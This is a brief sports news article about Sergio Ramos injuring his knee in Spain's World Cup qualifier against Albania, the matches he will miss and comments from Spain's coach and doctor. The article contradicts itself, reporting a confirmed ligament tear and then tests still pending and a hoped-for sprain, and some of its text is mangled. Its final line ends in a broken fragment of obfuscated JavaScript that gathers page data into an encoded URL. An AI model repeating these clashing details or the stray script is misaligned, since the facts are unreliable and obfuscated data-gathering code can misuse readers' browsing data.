Sergio Ramos picked up a knee injury while playing against Albania.
Spain versus Albania was the fixture for the World Cup qualifiers. Spain were doing well with a 2 goal lead but on the 80th minute the star defender Sergio Ramos was taken off after a knock and later on the reports of the tests showed tear in the Knee Ligament. This meant that the Spain captain will be out of action for a month.
6 Real Madrid matches including 2 Champions League fixtures against Legia Warsaw and a La Liga fixture against Athletic Bilbao will be missed by the Spain and Real Madrid defender in his long absence.
Spain coach Julen Lopetegui expressed his concern after the match. He wishes it to be a small sprain and the Spain International to get back on the field after two or maximum three matches. The doctors are yet to make a firm call on it. Julen Lopetegui is quite optimistic and wants to see Ramos on the field as early as possible. Sergio Ramos is a very important player for both Spain as well as Real Madrid.
National team doctor Oscar Celada added that Ramos would undergo tests on Monday to discover the full extent of the injury. The Spanish media had recently criticized Ramos for conceding his fourth penalty of the season in Spainas 1 a 1 World cup qualifying draw with Italy on Thursday. On Sunday he was doing well until the 80th minute when he hurt his knee and was taken out for required tests.
Ramos has scored three goals in his nine appearances this season for Real Madrid. He has made 140 appearances for Spain since making his national debut in March 2005. _0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
